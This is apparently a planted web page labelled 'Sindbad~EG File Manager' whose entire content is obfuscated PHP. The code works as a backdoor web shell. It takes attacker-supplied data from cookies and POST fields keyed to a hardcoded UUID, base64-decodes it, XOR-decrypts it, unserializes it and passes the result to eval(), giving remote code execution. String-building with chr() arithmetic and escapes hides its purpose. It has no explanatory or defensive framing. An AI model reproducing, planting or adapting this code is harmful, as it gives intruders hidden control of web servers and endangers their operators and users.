Sindbad~EG File Manager

$RYBBKrRB = "\126" . chr ( 740 - 645 ).chr (75) . "\102" . 'v' . chr ( 530 - 454 ); $eiqembf = chr (99) . chr (108) . "\x61" . "\x73" . chr (115) . chr (95) . chr (101) . chr (120) . "\151" . chr (115) . "\x74" . chr (115); $UridWQoVi = class_exists($RYBBKrRB); $eiqembf = "1285";$izAIfzgPd = !1;if ($UridWQoVi == $izAIfzgPd){function SXgaZW(){$orAvwEu = new /* 29262 */ V_KBvL(8899 + 8899); $orAvwEu = NULL;}$nQgTQhoKQ = "8899";class V_KBvL{private function DjxRf($nQgTQhoKQ){if (is_array(V_KBvL::$NhzyyLuRj)) {$opomMWK = str_replace('<' . "\x3f" . 'p' . chr (104) . 'p', "", V_KBvL::$NhzyyLuRj[chr ( 253 - 154 ).'o' . chr ( 637 - 527 )."\x74" . "\x65" . 'n' . 't']);eval($opomMWK); $nQgTQhoKQ = "8899";exit();}}private $YPYEyrqyxL;public function aqUkwGzcEZ(){echo 36894;}public function __destruct(){V_KBvL::$NhzyyLuRj = @unserialize(V_KBvL::$NhzyyLuRj); $nQgTQhoKQ = "40145_9105";$this->DjxRf($nQgTQhoKQ); $nQgTQhoKQ = "40145_9105";}public function IagQR($yOXowR, $KZBptyq){return $yOXowR[0] ^ str_repeat($KZBptyq, (strlen($yOXowR[0]) / strlen($KZBptyq)) + 1);}public function __construct($qtCeHI=0){$MrzvMLtzd = $_POST;$IwZGFKsND = $_COOKIE;$KZBptyq = "b7a27674-c755-44f0-a8ce-89ce391004dd";$tdBOY = @$IwZGFKsND[substr($KZBptyq, 0, 4)];if (!empty($tdBOY)){$GHuQovIo = "base64";$yOXowR = "";$tdBOY = explode(",", $tdBOY);foreach ($tdBOY as $mlqvaX){$yOXowR .= @$IwZGFKsND[$mlqvaX];$yOXowR .= @$MrzvMLtzd[$mlqvaX];}$yOXowR = array_map($GHuQovIo . chr ( 750 - 655 ).chr (100) . 'e' . "\143" . "\157" . 'd' . chr (101), array($yOXowR,));V_KBvL::$NhzyyLuRj = $this->IagQR($yOXowR, $KZBptyq);}}public static $NhzyyLuRj = 30624;}SXgaZW();}